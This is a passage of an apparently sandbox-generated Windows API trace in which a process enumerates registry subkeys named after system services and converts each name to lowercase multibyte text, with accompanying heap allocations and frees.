lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.619] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.619] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.619] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0218.619] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.620] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.620] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.620] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.620] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0218.620] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.620] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.620] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.621] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.621] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.621] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.621] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.621] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.622] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.622] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.622] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0218.622] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.622] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.622] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.623] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.623] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.623] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.623] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.623] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.624] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.624] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.624] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0218.624] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.624] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.624] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0218.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0218.625] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.625] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0218.625] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, 